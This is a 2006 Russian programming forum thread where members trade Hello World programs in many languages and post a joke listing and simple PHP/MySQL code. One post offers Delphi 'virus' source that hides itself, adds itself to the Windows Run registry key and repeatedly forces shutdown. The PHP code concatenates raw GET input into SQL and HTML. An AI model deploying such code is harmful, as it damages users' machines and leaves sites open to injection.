Давайте Программировать Вместе!, Си++\Паскаль и др Поделиться Опции

[PROFF]

Как насчет того, чтобы начать заниматься программированием вместе,
давайте выберем язык С++ или Паскаль, и начнем с самого лёгкого: Hello
Word ;) Кто, что знает или готов помочь, вливайтесь... Глядишь и новые
проги увидит Мотофан.ру :)

[Andy51]

Ну тогда надо и со средой ещё определиться! :)
Вот мой "шедевр" по теме на cpp

Код

#include<stdio.h>

void main()
{
      printf("Hello World!");
}

Сойдёт? :)
Как там в школе учили...

Код

Program HelloWorld;
begin
      writeln('Hello World!');
end.

А кто-нибудь знает, как будет "Hello World" на ассемблере/x86?
А вообще, лучше IMHO сделать мини-курс по Java - для местного населения!

Сообщение отредактировал Andy51 - 8.5.2006, 18:36

[morpho]

Как там в школе учили...
CODE

Program HelloWorld;
begin
      writeln('Hello World!');
end.

ха , ой как знакомо

[mouser]

Повезло что помните из школы!!!
У нас в универе эту шнягу толкают.
Сейчас надо написать прогу иммитирующую fifo. С графиками таблицами! :o

[PROFF]

Program HelloWorld; {объявления имени программы}
begin  {так называемая точка входа в программу}   
writeln('Hello World!'); {Вывод на экран сообщения, Hello Word}
end. {конец программы}

Спасибо, что откликнулись :) давайте тогда начнём с Паскаля... вот я немного прокомментировал...

Сообщение отредактировал PROFF - 9.5.2006, 5:25

[Navigator]

J2SE (приложение):

Код

public class $
{
   public static void main(String[] agrs)
   {
       System.out.println("Hello world!");
   }
}

J2ME:

Код

import javax.microedition.lcdui.*;

public class $ extends javax.microedition.midlet.MIDlet
{
   public void startApp()
   {
       Display.getDisplay(this).setCurrent(new Alert("Hello world!", "Hello world!!!", null, AlertType.INFO));
   }

   public void pauseApp()
   {
   }

   public void destroyApp(boolean b)
   {
       notifyDestroyed();
   }
}

[dwALX]

А кто-нибудь знает, как будет "Hello World" на ассемблере/x86?

Вот на асме под ДОС:

Код

text segment 'code'
    assume cs:text, ds:text
    org 100h
main proc

    push cs
    pop  ds  ; в ds запихиваем сегмент
    mov  dx, offset HelloWorld; записывем смещение строки
    mov  ah, 9; функция вывода строки
    int  21h; вызов ДОС
    mov  ax, 4C00h; функция выхода из программы(4Ch) и код ее завершения (00)
    int  21h ; вызов ДОС            


HelloWorld      DB 'Hello world!',0Dh,0Ah,'$'; сама строка. для вывода средствами ДОС должна заканчиваться символом $

main endp
text ends
    end main

[PROFF]

Navigator, ну ява мне вообще не знакома :(
dwALX, Си, Паскаль, Бейсик, Ассемблер я ПРОХОДИЛ (в прямом смысле, т.е балду гонял, а щас решил делом заняться...
Просьба ко всем пишите комментарии, к той или иной строке в программе...
Проще всего на мой взгляд программировать на Паскале...

Сообщение отредактировал PROFF - 9.5.2006, 7:13

[Master866]

PROFF,
Я больше люблю Delphi, но и Паскаль тоже знаю.
Комментарий первый: нафиг строку Program! Совет начинать с "Uses Crt;". Перед "end" точку с запятой можно не ставить, т.е.
...writeLn('Hello World!')
end.

[Andy51]

PROFF,
Я больше люблю Delphi, но и Паскаль тоже знаю.
Комментарий первый: нафиг строку Program! Совет начинать с "Uses Crt;". Перед "end" точку с запятой можно не ставить, т.е.
...writeLn('Hello World!')
end.

Ну я же сказал: "Как в школе учили", а вообще для наглядности :)
dwALX, рулишь!
А по-моему, лучше всё-таки писать java/j2me. На паскале-то что дальше будем писать? "Hello World" в графическом режиме?

[Stalker.mg]

уже посложнее
uses crt;
var s:string;{инициализация переменной s которая будет типа string(строка символов)}
begin {так называемая точка входа в программу}
s:='Hello World!';{присваиваем переменной s значение Hello World! (обязательно в кавычках!!)}
writeln(s); {Вывод на экран переменной s}
readln;{ожидание нажатия кнопки Enter, до этих пор программа будет 'прохлаждаться' :) }
end. {конец программы}

[SKINED]

Так, кому тут помочь надо? Вроде и яву и ++, и паскали знаю немного!

dwALX, опередил блин, я хотел уже было свой исходник на ассемблере выложить!
Кстати есть исходник программы тоже на ассемблере... уже не помню, что точно, вообщем работа с таблицами фат... курсовик когда-то делал! B)

[grafmoto]

Я больше люблю Delphi, но и Паскаль тоже знаю.

что-то меня сомнения одолевают, что ты когда-то Delphi запускал :-))) в чем разница-то?

Кстати есть исходник программы тоже на ассемблере... уже не помню, что точно, вообщем работа с таблицами фат... курсовик когда-то делал! 

ну после этой программы появятся сообщения: "Не закружается компьютер, ПАМАЖИТЕ!!!" :-)))))

вот пример написания p2ktools на VBA. писал в Excel:

Private Declare Function P2K_Init Lib "p2kapi" (ByVal f As Long) As Long

Function callback(status As Long) As Long
Range("A1").Select
ActiveCell.WrapText = "Connected to Motorola"
End Function


Sub init()
Dim i As Integer
i = P2K_Init(AddressOf callback)
End Sub

[blackbox]

Вот простейший Hello World на чистом C + Win32 API:

Код

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance,
                  HINSTANCE hPrevInstance,
                  LPSTR lpCmdLine,
                  int nCmdShow)
{
   MessageBox(NULL,
              "Hello World!",
              "Sample program",
              MB_OK
   );
   return 0;
}

[A247]

Код

Private Sub Form_load()

MsgBox "Hello World", vbCritical, "ГыГыГы"           'собсно сам вывод коронной фразы.

print "Hello world"                                               'Еще 1 вариант, но попроще.

End Sub

VB.
File->make project1.exe->запустить :)

[Serg c650]

Ребят, вам заняться не чем? Скачайте учебник и осваивайте потихоньку. Я в 8 классе учусь и Delphi более менее знаю.

Можете зайти на сайт указанный в подписи и посмотреть мои проекты:

Сообщение отредактировал Serg c650 - 10.5.2006, 10:16

[Serg c650]

Просьба всем программистам на Delphi зайти сюда:
Delphi, вопрос

Зарание извените что не в тему!

[SKINED]

После трёх дней активного написания курсовой работы я хорошо освоил работу с PHP+MySQL!!! :D :P
Так шо если есть вопросы, обращайтесь!

[Serg c650]

Видно тему зря создали!
всего 18 сообщений :(

[0vZ]

Не сочтите за флуд, но делу топик, а потехе тоже пост!
The Evolution of a Programmer

===================
High School/Jr.High
===================

Код

  10 PRINT "HELLO WORLD"
  20 END

=====================
First year in College
=====================

Код

  program Hello(input, output)
    begin
      writeln('Hello World');
    end.

======================
Senior year in College
======================

Код

  (defun hello
     (print
      (cons 'Hello (list 'World))))

================
New professional
================

Код

  #include <stdio.h>
  void main(void)
  {
    char *message[] = {"Hello ", "World"};
    int i;

    for(i = 0; i &lt; 2; ++i)
      printf("%s", message[i]);
    printf("\n");
  }

====================
Seasoned professional
=====================

Код

  #include <iostream.h>
  #include <string.h>

    class string
    {
    private:
      int size;
      char *ptr;

    public:
      string() : size(0), ptr(new char('\0')) {}

      string(const string &s) : size(s.size)
      {
        ptr = new char[size + 1];
        strcpy(ptr, s.ptr);
      }

      ~string()
      {
        delete [] ptr;
      }

      friend ostream &operator &lt;&lt;(ostream &, const string &);
      string &operator=(const char *);
    };

    ostream &operator&lt;&lt;(ostream &stream, const string &s)
    {
      return(stream &lt;&lt; s.ptr);
    }

    string &string::operator=(const char *chrs)
    {
      if (this != &chrs)
      {
        delete [] ptr;
       size = strlen(chrs);
        ptr = new char[size + 1];
        strcpy(ptr, chrs);
      }
      return(*this);
    }

    int main()
    {
      string str;

      str = "Hello World";
      cout &lt;&lt; str &lt;&lt; endl;

      return(0);
    }

=================
Master Programmer
=================

Код

    [
    uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)
    ]
    library LHello
    {
        // bring in the master library
        importlib("actimp.tlb");
        importlib("actexp.tlb");

        // bring in my interfaces
        #include "pshlo.idl"

        [
        uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)
        ]
        cotype THello
     {
     interface IHello;
     interface IPersistFile;
     };
    };

    [
    exe,
    uuid(2573F890-CFEE-101A-9A9F-00AA00342820)
    ]
    module CHelloLib
    {

        // some code related header files
        importheader(&lt;windows.h );
        importheader(&lt;ole2.h );
        importheader(&lt;except.hxx );
        importheader("pshlo.h");
        importheader("shlo.hxx");
        importheader("mycls.hxx");

        // needed typelibs
        importlib("actimp.tlb");
        importlib("actexp.tlb");
        importlib("thlo.tlb");

        [
        uuid(2573F891-CFEE-101A-9A9F-00AA00342820),
        aggregatable
        ]
        coclass CHello
     {
     cotype THello;
     };
    };

    #include "ipfix.hxx"
    extern HANDLE hEvent;
    class CHello : public CHelloBase
    {
    public:
        IPFIX(CLSID_CHello);

        CHello(IUnknown *pUnk);
        ~CHello();

        HRESULT  __stdcall PrintSz(LPWSTR pwszString);

    private:
        static int cObjRef;
    };

    #include &lt;windows.h>
    #include &lt;ole2.h>
    #include &lt;stdio.h>
    #include &lt;stdlib.h>
    #include "thlo.h"
    #include "pshlo.h"
    #include "shlo.hxx"
    #include "mycls.hxx"

    int CHello:cObjRef = 0;

    CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)
    {
        cObjRef++;
        return;
    }

    HRESULT  __stdcall  CHello::PrintSz(LPWSTR pwszString)
    {
        printf("%ws\n", pwszString);
        return(ResultFromScode(S_OK));
    }


    CHello::~CHello(void)
    {

    // when the object count goes to zero, stop the server
    cObjRef--;
    if( cObjRef == 0 )
        PulseEvent(hEvent);

    return;
    }

    #include &lt;windows.h>
    #include &lt;ole2.h>
    #include "pshlo.h"
    #include "shlo.hxx"
    #include "mycls.hxx"

    HANDLE hEvent;

     int _cdecl main(
    int argc,
    char * argv[]
    ) {
    ULONG ulRef;
    DWORD dwRegistration;
    CHelloCF *pCF = new CHelloCF();

    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

    // Initialize the OLE libraries
    CoInitiali, NULL);

    // Initialize the OLE libraries
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,
        REGCLS_MULTIPLEUSE, &dwRegistration);

    // wait on an event to stop
    WaitForSingleObject(hEvent, INFINITE);

    // revoke and release the class object
    CoRevokeClassObject(dwRegistration);
    ulRef = pCF->Release();

    // Tell OLE we are going away.
    CoUninitialize();

    return(0); }

    extern CLSID CLSID_CHello;
    extern UUID LIBID_CHelloLib;

    CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */
        0x2573F891,
        0xCFEE,
        0x101A,
        { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
    };

    UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */
        0x2573F890,
        0xCFEE,
        0x101A,
        { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
    };

    #include &lt;windows.h>
    #include &lt;ole2.h>
    #include &lt;stdlib.h>
    #include &lt;string.h>
    #include &lt;stdio.h>
    #include "pshlo.h"
    #include "shlo.hxx"
    #include "clsid.h"

    int _cdecl main(
    int argc,
    char * argv[]
    ) {
    HRESULT  hRslt;
    IHello        *pHello;
    ULONG  ulCnt;
    IMoniker * pmk;
    WCHAR  wcsT[_MAX_PATH];
    WCHAR  wcsPath[2 * _MAX_PATH];

    // get object path
    wcsPath[0] = '\0';
    wcsT[0] = '\0';
    if( argc   1) {
        mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);
        wcsupr(wcsPath);
        }
    else {
        fprintf(stderr, "Object path must be specified\n");
        return(1);
        }

    // get print string
    if(argc   2)
        mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);
    else
        wcscpy(wcsT, L"Hello World");

    printf("Linking to object %ws\n", wcsPath);
    printf("Text String %ws\n", wcsT);

    // Initialize the OLE libraries
    hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);

    if(SUCCEEDED(hRslt)) {

        hRslt = CreateFileMoniker(wcsPath, &pmk);
        if(SUCCEEDED(hRslt))
     hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);

        if(SUCCEEDED(hRslt)) {

     // print a string out
     pHello->PrintSz(wcsT);

     Sleep(2000);
     ulCnt = pHello->Release();
     }
        else
     printf("Failure to connect, status: %lx", hRslt);

        // Tell OLE we are going away.
        CoUninitialize();
        }

    return(0);
    }

=================
Apprentice Hacker
=================

Код

  #!/usr/local/bin/perl
  $msg="Hello, world.\n";
  if ($#ARGV >= 0) {
    while(defined($arg=shift(@ARGV))) {
      $outfilename = $arg;
      open(FILE, ">" . $outfilename) || die "Can't write $arg: $!\n";
      print (FILE $msg);
      close(FILE) || die "Can't close $arg: $!\n";
    }
  } else {
    print ($msg);
  }
  1;

==================
Experienced Hacker
==================

Код

  #include <stdio.h>
  #define S "Hello, World\n"
  main(){exit(printf(S) == strlen(S) ? 0 : 1);}

===============
Seasoned Hacker
===============

Код

  % cc -o a.out ~/src/misc/hw/hw.c
  % a.out

===========
Guru Hacker
===========

Код

  % cat
  Hello, world.
  ^D

=====================
AXE System programmer
=====================

Код

  LL0:
          .seg    "data"
          .seg    "text"
          .proc 04
          .global _main
  _main:
          !#PROLOGUE# 0
          sethi   %hi(LF26),%g1
          add     %g1,%lo(LF26),%g1
          save    %sp,%g1,%sp
          !#PROLOGUE# 1
          .seg    "data1"
  L30:
          .ascii  "Hello, World\012\0"
          .seg    "text"
          .seg    "data1"
  L32:
          .ascii  "Hello, World\012\0"
          .seg    "text"
          set     L32,%o0
          call    _strlen,1
          nop
          mov     %o0,%i5
          set     L30,%o0
          call    _printf,1
          nop
          cmp     %o0,%i5
          bne     L2000000
          nop
          mov     0,%o0
          b       L2000001
          nop
  L2000000:
          mov     0x1,%o0
  L2000001:
          call    _exit,1
          nop
  LE26:
          ret
          restore
         LF26 = -96
          LP26 = 96
          LST26 = 96
          LT26 = 96
          .seg    "data"

  0000000 0103 0107 0000 0060 0000 0020 0000 0000
  0000020 0000 0030 0000 0000 0000 0054 0000 0000
  0000040 033f ffff 8200 63a0 9de3 8001 1100 0000
  0000060 9012 2000 4000 0000 0100 0000 ba10 0008
  0000100 1100 0000 9012 2000 4000 0000 0100 00 ba10 0008
  0000100 1100 0000 9012 2000 4000 0000 0100 0000
  0000120 80a2 001d 1280 0005 0100 0000 9010 2000
  0000140 1080 0003 0100 0000 9010 2001 4000 0000
  0000160 0100 0000 81c7 e008 81e8 0000 0000 0000
  0000200 4865 6c6c 6f2c 2057 6f72 6c64 0a00 4865
  0000220 6c6c 6f2c 2057 6f72 6c64 0a00 0000 0000
  0000240 0000 000c 0000 0608 0000 006e 0000 0010
  0000260 0000 060b 0000 006e 0000 0014 0000 0286
  0000300 ffff ffec 0000 0020 0000 0608 0000 0060
  0000320 0000 0024 0000 060b 0000 0060 0000 0028
  0000340 0000 0186 ffff ffd8 0000 004c 0000 0386
  0000360 ffff ffb4 0000 0004 0500 0000 0000 0000
  0000400 0000 000a 0100 0000 0000 0000 0000 0012
  0000420 0100 0000 0000 0000 0000 001a 0100 0000
  0000440 0000 0000 0000 0020 5f6d 6169 6e00 5f70
  0000460 7269 6e74 6600 5f73 7472 6c65 6e00 5f65
  0000500 7869 7400
  0000504

  % axe_generate -f system.uhdl
  Application 'Exchange' generated
  2324042350000000 source code lines
  No Errors detected.
  Hardware retrieval...done OK
  Certification Test...done OK
  Packing..............done OK
  Delivery.............done OK
  Application 'Exchange' delivered to customer
  23456000 bytes/sec.
  End processing, 2345 seconds.

===========================
Ultra high level programmer
===========================

Код

  system.uhdl :

  SYSTEM
    CREATE ScreenWin
      SIZE 20000000/Unit=One
      DESTINATION Order.dest[One]
      OUTPUT CHARACTER['Hello world']
    END
  END

===========
New Manager
===========

Код

  10 PRINT "HELLO WORLD"
  20 END

==============
Middle Manager
==============

Код

  mail -s "Hello, world." bob@b12

   Bob, could you please write me a program that prints
   "Hello, world."? I need it by tomorrow.

  ^D

==============
Senior Manager
==============

Код

  % zmail all

    I need a "Hello, world." program by this afternoon.

===============
Chief Executive
===============

Код

    % message
    message: Command not found
    % pm
    pm: Command not found
    % letter
    letter: Command not found.
    % mail
    To: ^X ^F ^C
      help mail
    help: Command not found.
    >what
    what: Command not found
    >need help
    need: Command not found
      damn!
    !: Event unrecognized
    >exit
    exit: Unknown
    >quit
    %
    % logout

    Bipppp ! Mrs. Thompson? Please page Tommy for me. NOW!

[SKINED]

0vZ, ну ты мегамозг! Ты хоть деньги на свойх знаниях зарабатываешь???
Я вот уже два курсовика на php забацал(1000р каждый)! Прибыльное дело скажу я вам! :P

[grafmoto]

0vZ, :D :D :D :D :D :D :D :D :D :D

[0vZ]

Так, надо быстро тут напфлудить чтобы три страницы стало, а то мой пост трафика много кушает...
MidletPascal

Код

program HelloWorld;
begin
    drawText('Hello world!', 0, 0);
    repaint;    
    delay(2000);
end.

Другой вариант:

Код

program HelloWorld;
var itemId : integer;
    cmdQuit : command;
begin
 // переключаемся на формы вместо канваса:
 ShowForm;
 // цепляем на форму надпись:
 itemId := FormAddString('Hello, world!');
 // добавляем кнопочку выхода:
 cmdQuit := CreateCommand('Выход', CM_EXIT, 1);
 AddCommand(cmdQuit);
 // перерисовываем экран (не помню, обязательно ли это делать для форм, но на всяк случай сделаем):
 repaint;
 // зацикливаемся до тех пор пока на кнопку "Выход" не нажали:
 repeat
   delay(100);
 until GetClickedCommand = cmdQuit;    
end.
end.

Простейший PHP вариант (немного более веселый).

Код

<?
$name = $_GET["name"];
$name=basename(strip_tags($name));
$counterdir = "hello";
$textfont = "Verdana,Tahoma";
$hw='Hello, ';


echo "<font face=$textfont size=2>";
    echo "<center><br><br><b>$hw$name</b><br>";
 $name=base64_encode("$name"); // я не знаю как побороть баг с русскими буквами, поэтому будем делать так
 if (file_exists("$counterdir/$name.txt"))
    {
    $file = fopen("$counterdir/$name.txt","r");  // счетчик загрузок
    $count = fread($file, 100);    // читаем счетчик
    $countplus = ($count + 1);    // увеличиваем счетчик на 1
        fclose($file);      // закрываем файл
    $fileb = fopen("$counterdir/$name.txt","w"); // открываем опять файл счетчика
    fwrite($fileb, $countplus, 100); // записывает результат в файл счетчика
    fclose($fileb); // закрываем файл
        $name=base64_decode("$name");
    $tmp= "You are the $countplus $name here!";
    echo "$tmp";
    } else
    {
    $fileb = fopen("$counterdir/$name.txt","w"); // открываем опять файл счетчика
    fwrite($fileb, "1", 100); // записывает результат в файл счетчика
    fclose($fileb); // закрываем файл
    $name=base64_decode("$name");
    $tmp= "You are the first $name here!";
    echo "$tmp";    
    }
?>    

Допустим сохраним этот файл как helloworld.php. В браузере вбиваем: http://mototunes.motofan.ru/helloworld.php?name=Вася (только не забудьте, что "Вася" по правильному должно выглядеть как "%D0%92%D0%B0%D1%81%D1%8F", но у меня опера и так всё нормально сама переделывает, а вот IE не хочет). Ещё кодировку выберите UTF8.
PS. Я PHP ВООБЩЕ НЕ ЗНАЮ! Так что за кривость кода просьба камнями не кидать!

[Dosian]

To OVZ : Старый прикол, но очень смешно!!! :) :) :) :) :) Respect! Кто-то же придумал (хотел бы посмотреть)???

[SKINED]

0vZ, а ты с сделай тоже самое, но теперь не с файлом, а с MySQL!

Выкладываю мою последнюю самую простейшую работу на php c использованием базы данных:
файл connect.php - соединяемся с базой данных

<?php
  if (!($link = mysql_connect("localhost", "root","")))
    {
        echo "Ошибка подключения к базе данных.";
        exit;
    }
$result = mysql_select_db("laba6");
    if (!$result)
    {
        echo "Ошибка подключения к базе данных.";
        exit;
    }

?>

файл utils.php

<?php

class utils
{
    var $id;
    var $name;
    var $age;
    var $email;

    function delete ($id)
    {
    $query = "delete from users where id=".$id;
  mysql_query($query);
    }

    function save()
    {
        if (empty($this->id))
        {
            $this->insert();
        } else
        {
            $this->update();
        }
    }

  function insert()
    {
      $query = "insert into users (name, age, email) ".
            " values ('".addslashes($this->name)."', ".
                            addslashes($this->age).", '".
                            addslashes($this->email)."')";
        mysql_query($query);
        $this->id = mysql_insert_id();
    }

    function update()
    {
    $query ="update users set name='".addslashes($this->name)."',age=".addslashes($this->coach).", email='".addslashes($this->country)."' where id = ".$this->id."";
mysql_query($query);
}

function loadByName($name)
{
    $query = " select * from users where name='".addslashes($name)."' ";
    $result = mysql_query($query);
    if ($row = mysql_fetch_array($result))
        {
            $this->fillFromRow($row);
            return true;
        }
        else
            return false;
}

function fillFromRow($row)
{
$this->id = $row['id'];
$this->name = $row['name'];
$this->coach = $row['age'];
$this->country = $row['email'];
}





function PrintUsers()
{
$user = mysql_query("select * from users;");
if($user)
{
echo "<table border=1 bgcolor=#DDDEDF>";
echo "<tr><td>Имя</td><td>Возраст</td><td>Email</td><td>Удаление</td></tr>";
while($users = mysql_fetch_array($user))
  {
  echo "<td>".$users['name']."</td>";
  echo "<td>".$users['age']."</td>";
  echo "<td>".$users['email']."</td>";
  echo "<td><a href=\"user.php?del=yes&ID=".$users['id']."\">Удалить</a></td></tr>";
  }
echo "</table>";
}
else
{
echo "<p><b>Error: ".mysql_error()."</b></p>";
exit();
}
}

}
?>

файл user.php

<?php
include_once('connect.php');
include_once("utils.php");
$command = new utils();

if ($_GET['del']=='yes')
{
$command->delete ($_GET['ID']);
}


if ($_GET['action']=='yes')

{

$name=$_GET['name'];
$age=$_GET['age'];
$email=$_GET['email'];
$count=0;
if (empty($name)) {echo "Вы не ввели имя!<br>";$count++; }
if (empty($age)) {echo "Вы не ввели возраст!<br>";$count++;}
if (empty($email)) {echo "Вы не ввели email!<br>";$count++;}
if ($count==0)
{
 
 
  $command->name = $name;
  $command->age = $age;
  $command->email = $email;
  $command->save();

  $name=NULL;
  $age=NULL;
  $email=NULL;
  include 'menu.php';
  $command->PrintUsers();
}
else
{
  include 'menu.php';
}



}
else
{
include 'menu.php';
$command->PrintUsers();

}




//$command = new utils();
//$command->name = "Sergey";
//$command->age = 20;
//$command->email = "sergey@bk.ru";

//$command->save();
//$command->coach = "Ivanov";
//$command->save();

//$command->loadByName('Sergey');



?>

файл menu.php

<p align=center><font color=#FF0000><B>Введите данные о регистрируемом пользователе</B><br>
(Все поля обязательны к заполнению!)</font>
<FORM METHOD=GET>
<INPUT TYPE="hidden" NAME="action" VALUE="yes">

<TABLE border=0 CELLPADDING=6 align=center bgcolor=#DDDEDF>

<TR><TD>Имя:</TD>  <TD><INPUT NAME="name" VALUE="<?=$name?>"></TD></TR>
<TR><TD>Возраст:</TD>    <TD><INPUT NAME="age" SIZE="3" VALUE="<?=$age?>"></TD></TR>
<TR><TD>Email:<BR><BR></TD> <TD><INPUT NAME="email" VALUE="<?=$email?>"><BR><BR></TD></TR>
<tr><td COLSPAN=2><center><INPUT TYPE="submit" VALUE="Добавить"></center></td></tr>
</TABLE>

</FORM>

Думаю базу данным сами знаете как создать! там должна быть таблица users с полями ID, name, age, email! За эту лабораторную работу мне заплатил один чайник 150р. Делалос от силы пол часа! Вот так. Учите php! :)

[Serg c650]

ВИРУС НА DELPHI СВОИМИ РУКАМИ!

Код

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ExtCtrls, Registry;

type
 TForm1 = class(TForm)
   Timer1: TTimer;
   procedure FormCreate(Sender: TObject);
   procedure Timer1Timer(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;
begin
application.ShowMainForm:=false;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
reg.WriteString('virus', Application.ExeName);
reg.free;
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
winexec('shutdown -f -s -c "Уважаемый пользователь этого компьютера, не хочу тебя расстраивать, но мой скромный вирус наконец добрался и до твоего компьютера." -t 120',sw_show);
end;

end.

ПЕРЕД СТАТОМ УБЕДИТЕСЬ ЧТО ВЫ СМОЖИТЕ ВОВРЕМЯ УДАЛИТЬ ЗАПИСЬ VIRUS ИЗ РЕЕСТРА!

[Exebyte]

Исходник небольшой программки, которая воспроизводит через бипер 22kHz 8Bit WAV файлы только под DOS...
Гыы.. может кому пригодится на работе при отсутствии звуковухи хоть что-то слушать... :)



P.S. Из заявленных ключей только /V работает, не стал дальше делать...